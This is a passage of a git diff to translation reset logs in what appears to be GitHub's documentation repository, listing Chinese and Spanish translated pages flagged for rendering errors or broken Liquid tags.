-translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md,rendering error
-translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,rendering error
-translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error
-translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,rendering error
-translations/zh-CN/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error
-translations/zh-CN/content/pull-requests/committing-changes-to-your-project/index.md,rendering error
-translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error
-translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error
-translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error
-translations/zh-CN/content/repositories/archiving-a-github-repository/index.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md,rendering error
-translations/zh-CN/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,rendering error
-translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error
-translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error
-translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md,rendering error
-translations/zh-CN/content/repositories/releasing-projects-on-github/index.md,rendering error
-translations/zh-CN/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,rendering error
-translations/zh-CN/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md,rendering error
-translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md,rendering error
-translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,rendering error
-translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-files/editing-files.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/using-files/navigating-code-on-github.md,rendering error
-translations/zh-CN/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md,rendering error
+translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags
+translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags
+translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md,broken liquid tags
+translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,broken liquid tags
+translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,broken liquid tags
+translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md,broken liquid tags
+translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,broken liquid tags
+translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md,broken liquid tags
 translations/zh-CN/content/rest/guides/basics-of-authentication.md,Listed in localization-support#489
-translations/zh-CN/content/rest/guides/basics-of-authentication.md,rendering error
-translations/zh-CN/content/rest/guides/best-practices-for-integrators.md,rendering error
-translations/zh-CN/content/rest/guides/building-a-ci-server.md,rendering error
-translations/zh-CN/content/rest/guides/delivering-deployments.md,rendering error
-translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md,rendering error
-translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md,rendering error
-translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md,rendering error
-translations/zh-CN/content/rest/guides/index.md,rendering error
-translations/zh-CN/content/rest/guides/rendering-data-as-graphs.md,rendering error
-translations/zh-CN/content/rest/guides/traversing-with-pagination.md,rendering error
-translations/zh-CN/content/rest/guides/working-with-comments.md,rendering error
-translations/zh-CN/content/rest/index.md,rendering error
-translations/zh-CN/content/rest/overview/api-previews.md,rendering error
-translations/zh-CN/content/rest/overview/libraries.md,rendering error
+translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md,broken liquid tags
 translations/zh-CN/content/rest/overview/other-authentication-methods.md,Listed in localization-support#489
-translations/zh-CN/content/rest/overview/other-authentication-methods.md,rendering error
+translations/zh-CN/content/rest/overview/other-authentication-methods.md,broken liquid tags
 translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md,Listed in localization-support#489
-translations/zh-CN/content/rest/overview/resources-in-the-rest-api.md,rendering error
-translations/zh-CN/content/rest/reference/actions.md,rendering error
-translations/zh-CN/content/rest/reference/activity.md,rendering error
-translations/zh-CN/content/rest/reference/apps.md,rendering error
-translations/zh-CN/content/rest/reference/branches.md,rendering error
-translations/zh-CN/content/rest/reference/collaborators.md,rendering error
-translations/zh-CN/content/rest/reference/commits.md,rendering error
-translations/zh-CN/content/rest/reference/deployments.md,rendering error
-translations/zh-CN/content/rest/reference/enterprise-admin.md,rendering error
-translations/zh-CN/content/rest/reference/index.md,rendering error
-translations/zh-CN/content/rest/reference/packages.md,rendering error
-translations/zh-CN/content/rest/reference/pages.md,rendering error
-translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md,rendering error
-translations/zh-CN/content/rest/reference/pulls.md,rendering error
-translations/zh-CN/content/rest/reference/releases.md,rendering error
-translations/zh-CN/content/rest/reference/repos.md,rendering error
-translations/zh-CN/content/rest/reference/repository-metrics.md,rendering error
-translations/zh-CN/content/rest/reference/search.md,rendering error
-translations/zh-CN/content/rest/reference/secret-scanning.md,rendering error
-translations/zh-CN/content/rest/reference/teams.md,rendering error
-translations/zh-CN/content/rest/reference/webhooks.md,rendering error
-translations/zh-CN/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,rendering error
-translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,rendering error
-translations/zh-CN/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md,rendering error
-translations/zh-CN/content/search-github/index.md,rendering error
-translations/zh-CN/content/search-github/searching-on-github/searching-commits.md,rendering error
-translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md,rendering error
-translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md,rendering error
-translations/zh-CN/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error
-translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,rendering error
-translations/zh-CN/content/sponsors/guides.md,rendering error
-translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,rendering error
+translations/zh-CN/content/rest/reference/activity.md,broken liquid tags
+translations/zh-CN/content/rest/reference/apps.md,broken liquid tags
+translations/zh-CN/content/rest/reference/enterprise-admin.md,broken liquid tags
+translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,broken liquid tags
+translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md,broken liquid tags
 translations/zh-CN/data/learning-tracks/admin.yml,broken liquid tags
 translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml,Listed in localization-support#489
 translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml,Listed in localization-support#489
diff --git a/translations/log/es-resets.csv b/translations/log/es-resets.csv
index 57c660d4ab..fb10eb0c37 100644
--- a/translations/log/es-resets.csv
+++ b/translations/log/es-resets.csv
@@ -1,1163 +1,367 @@
 file,reason
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md,rendering error
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,rendering error
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,rendering error
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,rendering error
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md,rendering error
+translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags
 translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,rendering error
 translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,Listed in localization-support#489
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,rendering error
-translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,rendering error
-translations/es-ES/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error
-translations/es-ES/content/actions/advanced-guides/index.md,rendering error
 translations/es-ES/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,Listed in localization-support#489
-translations/es-ES/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error
-translations/es-ES/content/actions/advanced-guides/using-github-cli-in-workflows.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-net.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error
+translations/es-ES/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags
+translations/es-ES/content/actions/automating-builds-and-tests/about-continuous-integration.md,broken liquid tags
 translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,Listed in localization-support#489
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,rendering error
 translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md,Listed in localization-support#489
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-ruby.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-swift.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md,rendering error
-translations/es-ES/content/actions/automating-builds-and-tests/index.md,rendering error
-translations/es-ES/content/actions/creating-actions/about-custom-actions.md,rendering error
-translations/es-ES/content/actions/creating-actions/creating-a-composite-action.md,rendering error
 translations/es-ES/content/actions/creating-actions/creating-a-docker-container-action.md,Listed in localization-support#489
-translations/es-ES/content/actions/creating-actions/creating-a-docker-container-action.md,rendering error
-translations/es-ES/content/actions/creating-actions/creating-a-javascript-action.md,rendering error
-translations/es-ES/content/actions/creating-actions/dockerfile-support-for-github-actions.md,rendering error
-translations/es-ES/content/actions/creating-actions/index.md,rendering error
-translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md,rendering error
-translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md,rendering error
-translations/es-ES/content/actions/creating-actions/setting-exit-codes-for-actions.md,rendering error
-translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md,rendering error
-translations/es-ES/content/actions/deployment/about-deployments/deploying-with-github-actions.md,rendering error
 translations/es-ES/content/actions/deployment/about-deployments/index.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/about-deployments/index.md,rendering error
-translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,rendering error
-translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure-app-service.md,rendering error
-translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,rendering error
 translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error
-translations/es-ES/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md,rendering error
-translations/es-ES/content/actions/deployment/index.md,rendering error
 translations/es-ES/content/actions/deployment/managing-your-deployments/index.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/managing-your-deployments/index.md,rendering error
-translations/es-ES/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md,rendering error
 translations/es-ES/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md,rendering error
 translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error
 translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error
 translations/es-ES/content/actions/deployment/security-hardening-your-deployments/index.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/index.md,rendering error
 translations/es-ES/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,Listed in localization-support#489
-translations/es-ES/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error
-translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md,rendering error
-translations/es-ES/content/actions/guides.md,rendering error
 translations/es-ES/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error
+translations/es-ES/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,broken liquid tags
 translations/es-ES/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error
+translations/es-ES/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,broken liquid tags
 translations/es-ES/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/index.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md,rendering error
 translations/es-ES/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md,rendering error
-translations/es-ES/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error
+translations/es-ES/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags
 translations/es-ES/content/actions/index.md,Listed in localization-support#489
-translations/es-ES/content/actions/index.md,rendering error
 translations/es-ES/content/actions/learn-github-actions/contexts.md,Listed in localization-support#489
-translations/es-ES/content/actions/learn-github-actions/contexts.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/creating-workflow-templates.md,rendering error
 translations/es-ES/content/actions/learn-github-actions/environment-variables.md,Listed in localization-support#489
-translations/es-ES/content/actions/learn-github-actions/environment-variables.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/essential-features-of-github-actions.md,rendering error
 translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md,Listed in localization-support#489
-translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/expressions.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/index.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/managing-complex-workflows.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error
-translations/es-ES/content/actions/learn-github-actions/using-workflow-templates.md,rendering error
 translations/es-ES/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,Listed in localization-support#489
